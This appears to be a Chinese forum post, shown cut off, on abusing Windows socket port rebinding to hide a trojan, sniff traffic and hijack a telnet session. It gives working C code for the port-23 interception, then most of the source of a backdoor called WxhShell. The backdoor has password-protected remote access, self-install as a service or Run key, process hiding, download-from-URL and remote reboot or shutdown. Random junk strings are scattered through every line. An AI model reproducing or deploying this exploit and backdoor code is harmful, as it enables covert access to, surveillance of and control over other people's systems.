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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6c &Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !W~<q{VTs  
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  saddr.sin_family = AF_INET; { 8p\Y  
Ji A'BEJN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v)+@XU2wZ  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]Uh 1l.O  
="dDA/,$VS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c&m9)r~zP  
oCuV9dA.  
  这意味着什么?意味着可以进行如下的攻击: Hm4bN\%  
2yxi= XWZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e "n|jRh  
v ): V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RHI&j~  
"lrA%~3%[P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N,|r1u9X#  
}dKLMNqPA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xqv[? ?  
.Q[yD<)Ubs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F. T@)7  
)5GQJiY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1.0J2nZpt  
x5F@ad 9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vhph`[dC{  
aS/`A  
  #include D:m#d.m  
  #include 'HB~Dbq`V  
  #include +*.1}r&  
  #include    0Cq!\nzz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   75AslL?t  
  int main() 61|B]ei/  
  { mf2Mx=oy  
  WORD wVersionRequested; JJ-i_5\q  
  DWORD ret; 'hIU_  
  WSADATA wsaData; tT-=hDw  
  BOOL val; M5O'=\+,F  
  SOCKADDR_IN saddr; }"4roJ  
  SOCKADDR_IN scaddr; s5A gsMq  
  int err; iC*U$+JG  
  SOCKET s; q~h:<,5  
  SOCKET sc; Mpm#GdT  
  int caddsize; s0lYj@E'  
  HANDLE mt; 2kJ!E@n7  
  DWORD tid;   u>o<tw%Y  
  wVersionRequested = MAKEWORD( 2, 2 ); *8UYSA~v  
  err = WSAStartup( wVersionRequested, &wsaData ); yoU2AMH2D^  
  if ( err != 0 ) { 1R^4C8*B  
  printf("error!WSAStartup failed!\n"); @ef$b?wg  
  return -1; RH~sbnZ)F  
  } Nb1J ~v  
  saddr.sin_family = AF_INET; oyW00]ka  
   &^+3er rO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u`6/I#q`  
liD47}+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gn.Ol/6D  
  saddr.sin_port = htons(23); (I~\,[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )eq}MaW+j  
  { H&K3"Ulw  
  printf("error!socket failed!\n"); 85hQk+Bu4  
  return -1; 0x71%=4H^x  
  } y ||@?Y  
  val = TRUE; " 5|\X<f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lsFfb'>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7&#m]t^ ^  
  { ]QS](BbD:  
  printf("error!setsockopt failed!\n"); )!a$#"'  
  return -1; ETm]o  
  } D$hQyhz'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WgPgG0VJE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ytz8=\p_b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (#z;(EN0t  
<r;o6>+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Yrsp%<qj  
  { ttj2b$M,  
  ret=GetLastError(); `:4MMr91  
  printf("error!bind failed!\n"); oLP]N$'#  
  return -1; >h%\HMKk  
  } n ,1tD  
  listen(s,2); 6(.H3bu  
  while(1) #TATqzA  
  { +c r  
  caddsize = sizeof(scaddr); 1|/'"9v  
  //接受连接请求 Rf:<-C0T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J#(,0h  
  if(sc!=INVALID_SOCKET) o&,Y<$!:VH  
  { R9vY:oN%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {XHk6w *-  
  if(mt==NULL) |*E"G5WZM  
  { O#G| ~'.,  
  printf("Thread Creat Failed!\n"); lR}%)3_k  
  break; h?A'H RyL~  
  } QT;Va#a  
  } A8!Ed$@  
  CloseHandle(mt); k9&@(G[K3  
  } )UP8#|$#T  
  closesocket(s); MHl^/e@  
  WSACleanup(); eE9|F/-L  
  return 0; CO'ar,  
  }   -5xCQJ[  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1 7i$8  
  { /x/4NeD  
  SOCKET ss = (SOCKET)lpParam; ((cb4IX  
  SOCKET sc; 6Hn)pD#U  
  unsigned char buf[4096]; lC2?sD$  
  SOCKADDR_IN saddr; e`AUYli"  
  long num; o\60 n  
  DWORD val; ^9'$Oa,*  
  DWORD ret; avBua6i'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L~ 2q1  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ngLJ@TP-  
  saddr.sin_family = AF_INET; gLx/w\l6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gD1+]am  
  saddr.sin_port = htons(23); cUsL 6y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3I\m,Ob  
  { [?I/Uo8  
  printf("error!socket failed!\n"); Vrg3{@$  
  return -1; C Oa.xyp  
  } ^Xa*lR 3  
  val = 100; O%VA)<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^r4|{  
  { iN`6xkY  
  ret = GetLastError(); 0 {,h.:  
  return -1; ~?-qZ<9/  
  } ctK65h{Eo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )2]a8JVf  
  { RF!'K ko  
  ret = GetLastError(); KK$ a;/  
  return -1; [ t$AavU.  
  } rg*^w!   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m r2S!  
  { Q)T+r~#2B  
  printf("error!socket connect failed!\n"); /yp/9r@T0  
  closesocket(sc); {wv&t R;  
  closesocket(ss); 6W:1>,xS  
  return -1; oR#my ^  
  } 6J"(xT  
  while(1) qPUA!-'  
  { IhwN],-V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2!idy]vy_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P>fKX2eQ-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !3 ?yG  
  num = recv(ss,buf,4096,0); +0dT^Jkqg  
  if(num>0) q- H&5K  
  send(sc,buf,num,0); Y-= /,   
  else if(num==0) X?R |x[  
  break; :t%)5:@A  
  num = recv(sc,buf,4096,0); dEG ]riO  
  if(num>0) S?2YJ l8B  
  send(ss,buf,num,0); I8Kb{[?q  
  else if(num==0) [n!x&f8Xh  
  break; m\?\6W k  
  } =R2l3-HA=  
  closesocket(ss); DU`v J2  
  closesocket(sc); 'QnW9EHLF  
  return 0 ; *73AAA5LKa  
  } BtID;^D z  
0:#7M}U  
ZHcONYAr  
========================================================== Y.X4*B  
{?y<%@  
下边附上一个代码,,WXhSHELL )gjGG8 Ee  
4gya]  
========================================================== 'xk1o,;  
IW mHp]  
#include "stdafx.h" =oPng= :  
x RB7lV*  
#include <stdio.h> ivD^HhG  
#include <string.h> $Ba`VGP>)3  
#include <windows.h> Qi"'bWX@  
#include <winsock2.h> "\<P$&`HA  
#include <winsvc.h> 58PKx5`D  
#include <urlmon.h> {IrJLlq  
mQL8QW[c  
#pragma comment (lib, "Ws2_32.lib") s6IP;}  
#pragma comment (lib, "urlmon.lib") ?jFc@t*\:  
5Fh8*8u6hL  
#define MAX_USER   100 // 最大客户端连接数 &<@%{h@=  
#define BUF_SOCK   200 // sock buffer rXuAixu!t  
#define KEY_BUFF   255 // 输入 buffer k0knPDbHv  
(qbc;gBy  
#define REBOOT     0   // 重启 UC(9Dz  
#define SHUTDOWN   1   // 关机 *.xZfi_|  
i j!*CTG  
#define DEF_PORT   5000 // 监听端口 MorW\7-}  
IX?@~'  
#define REG_LEN     16   // 注册表键长度 t +J)dr  
#define SVC_LEN     80   // NT服务名长度 zG<0CZQ8  
I0(8Z]x  
// 从dll定义API a 1NCVZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C?S~L5a#oC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ISQ{M#_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _Po#ZGm~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !bieo'c  
Q+lbN  
// wxhshell配置信息 ;NBT 4  
struct WSCFG { [C2kK *JZ  
  int ws_port;         // 监听端口 }pt-q[s>  
  char ws_passstr[REG_LEN]; // 口令 J7_8$B-j7  
  int ws_autoins;       // 安装标记, 1=yes 0=no c9|I4=_K  
  char ws_regname[REG_LEN]; // 注册表键名 "`[$&:~  
  char ws_svcname[REG_LEN]; // 服务名 O8iu+}]/6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XA?WUR[e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ThbP;CzI#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (%.</|u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ea>[BB3#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wD}EW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bIq-1 Y(  
<jg8y'm@0  
}; z}D#WWSxf  
f7S^yA[[  
// default Wxhshell configuration L+uOBW_  
struct WSCFG wscfg={DEF_PORT, H8( C>w-'  
    "xuhuanlingzhe", 1ZKz3)K  
    1, S7Qen6lm  
    "Wxhshell", tjt=N\;  
    "Wxhshell", /m;O;2"  
            "WxhShell Service", % 6"o8  
    "Wrsky Windows CmdShell Service", 2}597Hb   
    "Please Input Your Password: ",  H RWZ0 '  
  1, =[APMig,n  
  "http://www.wrsky.com/wxhshell.exe", 'aNahzb  
  "Wxhshell.exe" O.dux5lfBd  
    }; |b,zw^!e['  
L,GShl0S  
// 消息定义模块 HK^a:BI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <nf=SRZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9DmSs=A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E*h0#m|)  
char *msg_ws_ext="\n\rExit."; bU:V%B?=]  
char *msg_ws_end="\n\rQuit."; .&Y,D-h}7|  
char *msg_ws_boot="\n\rReboot..."; p_A5C?&  
char *msg_ws_poff="\n\rShutdown..."; OCvml 2 vP  
char *msg_ws_down="\n\rSave to "; %+D-y+hn  
9t.fij  
char *msg_ws_err="\n\rErr!"; :jl u  
char *msg_ws_ok="\n\rOK!"; "^18&>^  
LR hP7D+A  
char ExeFile[MAX_PATH]; }rFThI  
int nUser = 0; (R,NV3m?w  
HANDLE handles[MAX_USER]; A>H*`{}  
int OsIsNt; 3x,Aczb  
4S^  
SERVICE_STATUS       serviceStatus; XryQ)x(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @"jmI&hYn  
nl.~^CP  
// 函数声明 q#l.A?rK\  
int Install(void); :v|r=#OI  
int Uninstall(void); ](]*]a4ss  
int DownloadFile(char *sURL, SOCKET wsh); $:xF)E  
int Boot(int flag); u XaL  
void HideProc(void); uPM8GIvZX.  
int GetOsVer(void); W dei`u[  
int Wxhshell(SOCKET wsl); sj#{TTW  
void TalkWithClient(void *cs); ~+7ad$   
int CmdShell(SOCKET sock); +#^sy>  
int StartFromService(void); rE!G,^_{  
int StartWxhshell(LPSTR lpCmdLine); Y'3k E  
D!81(}p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v$qpcu#o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bM*Pcxv  
Nck!z8  
// 数据结构和表定义 c _R)P,P  
SERVICE_TABLE_ENTRY DispatchTable[] = 6z1aG9G  
{ v=dKcruR:  
{wscfg.ws_svcname, NTServiceMain}, %V@Rk.<  
{NULL, NULL} 4W[AXDS  
}; C}t+t  
Z5"!0B^ j  
// 自我安装 6GvhEulYR  
int Install(void) ]C9%]`  
{ <K|3Q'(S  
  char svExeFile[MAX_PATH]; ex0 kb  
  HKEY key; PR48~K,?  
  strcpy(svExeFile,ExeFile); CnM+HN30o  
D? ^`(X P  
// 如果是win9x系统,修改注册表设为自启动 :u[ oc.  
if(!OsIsNt) { H>gWxJ 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b'1/cY/!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yffU% )  
  RegCloseKey(key); ?CcR 7l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vHZX9LQU0+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zav*  
  RegCloseKey(key); TmRrub  
  return 0; HV#?6,U}  
    } O>)n*OsS  
  } G2U5[\  
} }I` ku.@5  
else { J)#5 9a  
hX{g]KE>  
// 如果是NT以上系统,安装为系统服务 +?4*,8Tmmz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V{ 4i$'  
if (schSCManager!=0) 9Bbm7Gd  
{ S,d ngb{  
  SC_HANDLE schService = CreateService E.5*Jr=J  
  ( =B3!jir  
  schSCManager, FFD*e-i  
  wscfg.ws_svcname, ,qBnqi[  
  wscfg.ws_svcdisp, j SUAU}u!M  
  SERVICE_ALL_ACCESS, PHe~{"|d?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o O{|C&A  
  SERVICE_AUTO_START, LaEX kb*s  
  SERVICE_ERROR_NORMAL, f4 Sw,A  
  svExeFile, 1FXzAc(c!  
  NULL, z=- 8iks|  
  NULL, [[.&,6  
  NULL, -KJ}.q>upq  
  NULL, U|y;b+n`  
  NULL 3:02`;3  
  ); b.w(x*a  
  if (schService!=0) '&_y*"/c  
  { oHc-0$eMKY  
  CloseServiceHandle(schService); ,=q7}5o Y  
  CloseServiceHandle(schSCManager); #XYLVee,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a!hI${Xn  
  strcat(svExeFile,wscfg.ws_svcname); 'Wx\"]:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5VoOJ_hq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (e bBH  
  RegCloseKey(key); `E4!u=%  
  return 0; g:uaI  
    } Z!s>AgH9u  
  } goBKr: &]w  
  CloseServiceHandle(schSCManager); rH#c:BwSm  
} Wf+Cc?/4  
} h M1&A  
qxecp2>U  
return 1; @wAr[.lZ  
} %$9)1"T0Y  
UG^?a  
// 自我卸载 #h #mOJ5  
int Uninstall(void) #1,>Qnl  
{ EP*["fx  
  HKEY key; !4b; >y=m  
% 0y3/W  
if(!OsIsNt) { 0Tn|Q9R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c9cphZ(z  
  RegDeleteValue(key,wscfg.ws_regname); {C,1w  
  RegCloseKey(key); ]C!Y~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8g2-8pa{  
  RegDeleteValue(key,wscfg.ws_regname); i\DHIzGp[  
  RegCloseKey(key); ]y)R C-N  
  return 0; ;nAg4ll8Q  
  } 7zJh;f/  
} |=h)efo}  
} hsQrd%{f  
else { X{9JSq  
4E>/*F!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C^8)IN=$  
if (schSCManager!=0) 0x9F*i_  
{ B1i!te}*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k1LtqV  
  if (schService!=0) 4 L~;>]7  
  { M#8Ao4 T  
  if(DeleteService(schService)!=0) { 0D]Yz`n3  
  CloseServiceHandle(schService); !Sy'Z6%f  
  CloseServiceHandle(schSCManager); YCLD!S/?  
  return 0; ;&t1FH#=  
  } _]PfeCn:j  
  CloseServiceHandle(schService); L]L~TA<D9i  
  } @e?[oojrM  
  CloseServiceHandle(schSCManager); Oa_o"p<Lr  
} &:e}4/G  
} @y~BYiKs  
]cGz~TN~  
return 1;  >Wr   
} ym,Ot1  
`Hp.%G(  
// 从指定url下载文件 l)!woOt  
int DownloadFile(char *sURL, SOCKET wsh) ^hYR5SX  
{ &Ow?Hd0  
  HRESULT hr; ^1FZ`2u;  
char seps[]= "/"; ;P0Y6v3  
char *token; ? /|@ #&  
char *file; )(|0KarF  
char myURL[MAX_PATH]; /NN[gz  
char myFILE[MAX_PATH]; ,h(f\h(9  
JXy667_  
strcpy(myURL,sURL); #3:'lGBIK  
  token=strtok(myURL,seps); 39a]B`y  
  while(token!=NULL) ptcH>wM!  
  { 4f@\f7 \  
    file=token; L8-[:1  
  token=strtok(NULL,seps); :+dWJNY:  
  } HV.|Eh_7  
52C-D+zCJ  
GetCurrentDirectory(MAX_PATH,myFILE);  ~bWWu`h  
strcat(myFILE, "\\"); Z$m2rZ#  
strcat(myFILE, file); \q d)l  
  send(wsh,myFILE,strlen(myFILE),0); J-%PyvK$?  
send(wsh,"...",3,0); VOF:+o@.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YQ8x6AJ  
  if(hr==S_OK) (!&O4C5  
return 0; %_J/&{6G  
else YT%SCaU  
return 1; \$\(9!=  
l<MCmKuYp  
} hb8@br  
q$2taG}  
// 系统电源模块 *,*:6^t  
int Boot(int flag) !)*T  
{ fz?Wr: I  
  HANDLE hToken; /wRK[i  
  TOKEN_PRIVILEGES tkp; ;KZ2L~ THG  
kc(b;EA  
  if(OsIsNt) { PG~m-W+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {arjW3~M:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o-i.'L)X  
    tkp.PrivilegeCount = 1; %?G.lej,x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @LMV?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]O(HZD%  
if(flag==REBOOT) { S?z j&X Y3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VA r?teY  
  return 0; uKAHJ$%  
} _G8y9!J  
else { _itN.^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $6?KH7lA  
  return 0; m4.V$U,H]  
} /s0VyUV=  
  } 89e.\EH  
  else { ?(L? X&)v  
if(flag==REBOOT) { Dlsa(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e$+? v2.  
  return 0; :Y?08/V  
} =Q 0 )t_z_  
else { m?CjYqvf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $MEbePxe  
  return 0; {]m e?I  
} -a^sX%|Bl  
} ez9M]! 8Lt  
XV9'[V  
return 1; }sNZQ89V*v  
} CvSG!l.6f<  
RKZk/ly  
// win9x进程隐藏模块 gR6T]v  
void HideProc(void) yaGVY*M0  
{ J0)WRn"h  
S gsR;)2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =,;3z/k%  
  if ( hKernel != NULL ) `2~Ea_Z  
  { \Nn%*?f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xF>w r r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w`Aw+[24  
    FreeLibrary(hKernel); w8@|b}  
  } 'eXw`kw(  
u= i^F|  
return; b,V=B{(~  
} oDDH;Q"M(  
5GpKX  
// 获取操作系统版本 ~SUl,Cs  
int GetOsVer(void) U`4Z j1y  
{ IHMyP~{  
  OSVERSIONINFO winfo;  2x J5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >\Pj(,'  
  GetVersionEx(&winfo); ]6 7wk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |,~A9  
  return 1; !7kOw65+0  
  else *)SgdC/f  
  return 0; n>+W]I&E  
} [5:7 WqB  
@wZ_VE7B  
// 客户端句柄模块 S|h  m  
int Wxhshell(SOCKET wsl) z4UQ:z@  
{ vu \Dx9  
  SOCKET wsh; @G{DOxE*  
  struct sockaddr_in client; |#kf.kN  
  DWORD myID; gV>\lMc[-%  
i-W2!;G  
  while(nUser<MAX_USER) $1 \!Oe[i  
{ .F|WQ7Mu  
  int nSize=sizeof(client); 8LKZ3Y|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lL f01sa4  
  if(wsh==INVALID_SOCKET) return 1; ]/naH#8G  
C&"2`ll  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7Zn Q] ?  
if(handles[nUser]==0) kpUU'7Q  
  closesocket(wsh); a2FIFWvW  
else #iU/Yg!  
  nUser++; |hyr(7  
  } v0J1%{/xs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _$lQK{@rY  
@Ec9Do>  
  return 0; P &._ -[  
} wd0ACF  
WSwmX3rn  
// 关闭 socket "Y0[rSz,UW  
void CloseIt(SOCKET wsh) '.<"jZ  
{ m$: a|'mS  
closesocket(wsh); ~q>ilnL"h  
nUser--; ?P]md9$(+e  
ExitThread(0); 1mM52q.R4  
} |B.d7@{mM  
q|2C>{8  
// 客户端请求句柄 ,DZLEsFM  
void TalkWithClient(void *cs) &Wk<F3qN  
{ 5X-(@GwN  
V lNzm  
  SOCKET wsh=(SOCKET)cs; Sw)ftC~d  
  char pwd[SVC_LEN]; A*i_- ;W)  
  char cmd[KEY_BUFF]; FZ/&[;E!  
char chr[1]; =w>QG{-N  
int i,j; /q]@|5I  
'>$A7  
  while (nUser < MAX_USER) { y70gNPuTOD  
|Ay#0uQ5Y  
if(wscfg.ws_passstr) { [J 3;U6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =@MKU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? xs0J  
  //ZeroMemory(pwd,KEY_BUFF); !*-cf$  
      i=0; ~h.B\Sc]Q  
  while(i<SVC_LEN) { R[t[M}q  
~ $&  
  // 设置超时 =)bc/309  
  fd_set FdRead; :b-(@a7>  
  struct timeval TimeOut; Q+dI,5YF  
  FD_ZERO(&FdRead); R/|o?qTrj  
  FD_SET(wsh,&FdRead); de=T7,G#  
  TimeOut.tv_sec=8; ?H?r!MZ%  
  TimeOut.tv_usec=0; p}uw-$O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (*tJCz`Sj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UW3F)  
j>23QPG`6U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "bH ~CG:Y  
  pwd=chr[0]; q<7n5kJ~  
  if(chr[0]==0xd || chr[0]==0xa) { 2{N0.  |5  
  pwd=0; 0qd`Pf   
  break; `^[ra% a  
  } yhmW-#+^e  
  i++; Lf9h;z>#  
    } ^g\%VIOD  
Y8T.RS0  
  // 如果是非法用户,关闭 socket 6qf`P!7d]M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (PF (,B  
} uy~j$lrn  
v\C+G[MV 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E{J;-+t  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F\;1:y~1  
<s >SnOD  
while(1) { ;7hr8?M|  
$Izk]o;X~  
  ZeroMemory(cmd,KEY_BUFF); _De;SB %V  
}Of^Y@{q.  
      // 自动支持客户端 telnet标准   = '[@UVH(Z  
  j=0; 5KzU&!Zh9  
  while(j<KEY_BUFF) { kE}?"<l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N 1rrKyL!$  
  cmd[j]=chr[0]; COafVlJ,l  
  if(chr[0]==0xa || chr[0]==0xd) { V ALYA=w/  
  cmd[j]=0; [<hiOB  
  break; ^M"g5+ q  
  } RP$A"<goP  
  j++; cW\7yZh  
    } H2}i .  
f?QD##~;  
  // 下载文件 !Fi)-o  
  if(strstr(cmd,"http://")) { {Bx\Z0+'&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s0SB!-Vjm  
  if(DownloadFile(cmd,wsh)) A6VkVJZx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >e%Po,Fg$  
  else <V{BRRx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dhbJ1/z^  
  } ux=@"!PJ  
  else { % |V:F.f  
6._):[_2  
    switch(cmd[0]) { .jU9{;[  
  b,wO^07-3^  
  // 帮助 [B Al  
  case '?': { #@ G2n@Hj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }V{, kK  
    break; "q8wEu,z[  
  } cP,jC(<N  
  // 安装 eYFCf;  
  case 'i': { &oBJY'1  
    if(Install()) N ~Gh>{N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EifYK  
    else We|*s2!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @Hzsud  
    break; +t f=  
    } Vufw:}i+^  
  // 卸载 @gd-lcMYW  
  case 'r': { 4'M#m|V  
    if(Uninstall())  f!<mI8H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kmtr.]Nj  
    else ts ] +W!:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1EN5ZN,  
    break; W!g ,  
    } I`|>'$E[r  
  // 显示 wxhshell 所在路径 Ua4} dW[w  
  case 'p': { q:( K^  
    char svExeFile[MAX_PATH]; ()iJvf>@  
    strcpy(svExeFile,"\n\r"); +=O:z *O  
      strcat(svExeFile,ExeFile); GC~::m~  
        send(wsh,svExeFile,strlen(svExeFile),0); h W-[omr0  
    break; =~)n,5  
    } 2 Ug jH  
  // 重启 |Z<adOg  
  case 'b': { *+G K ?Ga  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ${?Px c{-  
    if(Boot(REBOOT)) qQb8K+t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;-3M  
    else { W$y?~2  
    closesocket(wsh); aPbHrk*/  
    ExitThread(0); wG B'c's*  
    } WrV|<%EQh  
    break; )S]c'}^  
    } XH/|jE.9^|  
  // 关机 Gfvz%%>l  
  case 'd': { +1rJ;G  
